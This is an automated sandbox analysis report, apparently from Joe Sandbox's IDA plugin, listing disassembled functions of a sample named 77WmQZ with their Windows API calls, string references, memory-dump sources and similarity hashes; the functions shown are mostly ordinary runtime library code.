API String ID: 3078728599-0
Opcode ID: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction ID: cab5f27f5268d67fa2b955b7a4895f7bd1e416bc4c6d53bc856f5ac88b27d897
Opcode Fuzzy Hash: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction Fuzzy Hash: 04316D72614A8082EB21DF52F80479A77E1F78EBD0F540225FB9A87BB5DB3DC9458B00

Function 000000014000FD50 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDC7

Part of subcall function 0000000140010B30: CreateFileA.KERNEL32 ref: 0000000140010B5A

GetConsoleOutputCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDDC
WideCharToMultiByte.KERNEL32 ref: 000000014000FE0D
WriteConsoleA.KERNEL32 ref: 000000014000FE32

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction ID: bea3f08d648c3b04eb316e4c6042deaac10e1fdf59f4257f2eabc448b4c653dc
Opcode Fuzzy Hash: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction Fuzzy Hash: 38317AB1214A4482EB12CF22F8403AA73A1F79D7E4F544315FB6A4BAF5DB7AC5859B00

Function 00007FFE1A52FB54 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFE1A52FB7C
_set_statfp.LIBCMT ref: 00007FFE1A52FB97
_set_statfp.LIBCMT ref: 00007FFE1A52FBB3
_set_statfp.LIBCMT ref: 00007FFE1A52FBEF

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction ID: 7cc5675f0c6db86336fc35be1e3656e5f1646314ffe4d93083d4ad4f3bdec04c
Opcode Fuzzy Hash: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction Fuzzy Hash: E411C832F0CE0B81F75811A7F56637912426F9BB70F1446F7E96F066FE8E2C68584101

Function 00007FFE1A529684 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFE1A52766F,?,?,00000000,00007FFE1A52790A,?,?,?,?,?,00007FFE1A527896), ref: 00007FFE1A5296A3
FlsSetValue.KERNEL32(?,?,?,00007FFE1A52766F,?,?,00000000,00007FFE1A52790A,?,?,?,?,?,00007FFE1A527896), ref: 00007FFE1A5296C2
FlsSetValue.KERNEL32(?,?,?,00007FFE1A52766F,?,?,00000000,00007FFE1A52790A,?,?,?,?,?,00007FFE1A527896), ref: 00007FFE1A5296EA
FlsSetValue.KERNEL32(?,?,?,00007FFE1A52766F,?,?,00000000,00007FFE1A52790A,?,?,?,?,?,00007FFE1A527896), ref: 00007FFE1A5296FB
FlsSetValue.KERNEL32(?,?,?,00007FFE1A52766F,?,?,00000000,00007FFE1A52790A,?,?,?,?,?,00007FFE1A527896), ref: 00007FFE1A52970C

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction ID: a209664d1fe7bfcd29d2cb91a95bb7403b6922326ca985d40a84bf46d7e060d9
Opcode Fuzzy Hash: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction Fuzzy Hash: A3113D20F0CA42C6FA5867A7656117961A35F86BF0F5847F7E93E867F6EE2CB4418200

Function 00007FFE1A529518 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFE1A529529
FlsSetValue.KERNEL32 ref: 00007FFE1A529548
FlsSetValue.KERNEL32 ref: 00007FFE1A529570
FlsSetValue.KERNEL32 ref: 00007FFE1A529581
FlsSetValue.KERNEL32 ref: 00007FFE1A529592

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction ID: de0ed7b0ffe09c7e4404dc978054de8924f921935b288f3c12813315b02bbcc4
Opcode Fuzzy Hash: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction Fuzzy Hash: E411EC50B0DA07CAFA6966E3546117921A34F97BB0F540BF7E93E493F6DE2CB4418601

Function 00007FFE1A525448 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFE1A5254B8
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE1A525503

Strings

RCC, xrefs: 00007FFE1A5254D4
MOC, xrefs: 00007FFE1A5254CC

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction ID: ffcca90f640834148d3541766e995ce8c5da73cc4b2343276bf36ea4c3c6ba69
Opcode Fuzzy Hash: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction Fuzzy Hash: E0916E72B18B81CAE7108BB6D4402BD7BA1FB46BA8F1441ABEA4D17765DF3CE195C700

Function 00007FFE1A523A38 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE1A523A63
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE1A523AFA
RtlUnwindEx.KERNEL32 ref: 00007FFE1A523B54

Strings

csm, xrefs: 00007FFE1A523AE1

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction ID: b9cd2e92a5e1a60a3163dd050c15a0a1a7dc487f00fe6c595219cf29cf3162b9
Opcode Fuzzy Hash: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction Fuzzy Hash: 81518032B1DA42CADB148F56E444A787392EB85FB4F1081B7DA4A477AADF7DE841C700

Function 00007FFE1A5259C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE1A5259F0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE1A525AD8

Strings

csm, xrefs: 00007FFE1A525B2A
csm, xrefs: 00007FFE1A525A12

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction ID: f4969ed6435158634b47bbcc1cdcd194255c3f9de375a5e8e5156f26392d4e04
Opcode Fuzzy Hash: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction Fuzzy Hash: 7151723270CA42C6EB648BA294442787692EB56FA9F1441F7DA4F477A5CF3CE451C700

Function 00007FFE1A5251D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFE1A525237
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE1A525283

Strings

RCC, xrefs: 00007FFE1A525253
MOC, xrefs: 00007FFE1A52524B

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction ID: c52db1b91b8f3a4470f8a0d10ec7fc15a6275f337fd55c7a4f42cf7d1ba2be7c
Opcode Fuzzy Hash: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction Fuzzy Hash: E3617232A0CB85C1D7208B66E4403B9B7A1FB96BA8F544267EB9D07B65CF7CD190CB00

Function 000000014000EDC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

GetModuleHandleA.KERNEL32 ref: 000000014000EE2D
GetProcAddress.KERNEL32 ref: 000000014000EE42

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 000000014000EE38
kernel32.dll, xrefs: 000000014000EE26

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: AddressHandleLoadModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3055805555-3733552308
Opcode ID: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction ID: 601bfb796087d826a15eddab62e6da73c6b3e4e45b37998f9684764b2688f2d2
Opcode Fuzzy Hash: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction Fuzzy Hash: 5C2136B1614B8582EB66DB23F8407DAA3A5B79C7C0F880526BB49577B5EF78C500C700

Function 00000001400026F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 000000014000271C
GetCurrentProcess.KERNEL32 ref: 0000000140002721
SetProcessWorkingSetSize.KERNEL32 ref: 0000000140002731

Strings

Shrinking process size, xrefs: 000000014000270E

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: Shrinking process size
API String ID: 2122760700-652428428
Opcode ID: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction ID: de407452bcc55573093b25e37d4a5c8190b9a80636e05c4b95c6e58ff86151e7
Opcode Fuzzy Hash: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction Fuzzy Hash: 74E0C9B4601A4191EA029F57A8A03D41260A74CBF0F815721AA290B2F0CE3985858310

Function 00000001400030B0 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400030E7
LeaveCriticalSection.KERNEL32 ref: 000000014000316B
EnterCriticalSection.KERNEL32 ref: 0000000140003195
EnterCriticalSection.KERNEL32 ref: 00000001400031C6
LeaveCriticalSection.KERNEL32 ref: 00000001400031DD

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction ID: acd2e58e1a3fd81a861280768b65888603737fa84cc19007189881c9ae716cb0
Opcode Fuzzy Hash: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction Fuzzy Hash: D331137A225A4082EB128F1AF8407D57364F79DBF5F480221FF6A4B7B4DB3AC8858744

Function 00007FFE1A52E3F4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFE1A52E473
WriteFile.KERNEL32 ref: 00007FFE1A52E73B
WriteFile.KERNEL32 ref: 00007FFE1A52E781
GetLastError.KERNEL32 ref: 00007FFE1A52E837

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction ID: bee4fd993d003d18f1c6dd3d8c6fbc551477dfbc33a1088ce4f82dc279a6f76b
Opcode Fuzzy Hash: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction Fuzzy Hash: D3D1B272B18A81C9E711CFA6D4401FC3BA2FB55BA8B1442B7DE9D57BA5DE38D406C340

Function 00007FFE1A52ED1C Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE1A52ED07), ref: 00007FFE1A52EE38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE1A52ED07), ref: 00007FFE1A52EEC3

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction ID: 7ee0387a0c45ece6a1fe9668d2e2a8279a391439792228bae72f7d0609b7a7fa
Opcode Fuzzy Hash: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction Fuzzy Hash: 1291B2A2B1CE51C5F7508BA694802BD2FA2BB46FA8F1441FBDE0E566A4DF38D446D700

Function 0000000140004760 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004774
ResetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004870
SetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000487D
LeaveCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000488A

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction ID: 8df361fa7c869b6ec715234f9c2df2ced8c6baf833446e4218a9444c3b5dacad
Opcode Fuzzy Hash: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction Fuzzy Hash: 0F31D1B5614F4881EB42CB57F8803D463A6B79CBD4F984516EB0E8B372EF3AC4958304

Function 0000000140004400 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014000441F
ResetEvent.KERNEL32 ref: 00000001400044CB
SetEvent.KERNEL32 ref: 00000001400044D5
LeaveCriticalSection.KERNEL32 ref: 00000001400044DF

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction ID: 80aeca48758360c6ba791d23c15ba34d7cc547f8c7a26c6fbcbbb07f4ec0a80e
Opcode Fuzzy Hash: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction Fuzzy Hash: 6F3127B2220A8483D761DF27F48439AB3A0F798BD4F000116EB8A47BB5DF39E491C344

Function 00007FFE1A522218 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE1A522244
GetCurrentThreadId.KERNEL32 ref: 00007FFE1A522252
GetCurrentProcessId.KERNEL32 ref: 00007FFE1A52225E
QueryPerformanceCounter.KERNEL32 ref: 00007FFE1A52226E

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction ID: 5e16ba43ca4e5ac4b218ea7d5970674cb4a5312ae5bb396b86226d0243642682
Opcode Fuzzy Hash: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction Fuzzy Hash: 7F11EF26B18F0189EB00CB61E8552B833B4FB59B68F441D76DA5D467A4EF78D169C340

Function 0000000140013670 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000014001367B
CreateEventW.KERNEL32 ref: 000000014001368D
CreateEventW.KERNEL32 ref: 00000001400136A7
CreateEventW.KERNEL32 ref: 00000001400136C0

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CreateEvent$CriticalInitializeSection
String ID:
API String ID: 926662266-0
Opcode ID: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction ID: 312f8d8d13b8a868d26f937b45fb8075aed367f1a83d8c92d196673213f535ba
Opcode Fuzzy Hash: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction Fuzzy Hash: 8F015A31610F0582E726DFA2B855BCA37E2F75D385F854529FA4A8B630EF3A8145C700

Function 00007FFE1A525C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE1A525C2A

Strings

csm, xrefs: 00007FFE1A525C4F
csm, xrefs: 00007FFE1A525DBE

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction ID: 1d6ec58c6fbb430b708a173d99667fbc40a6fa6612764f074da36c68908a55ec
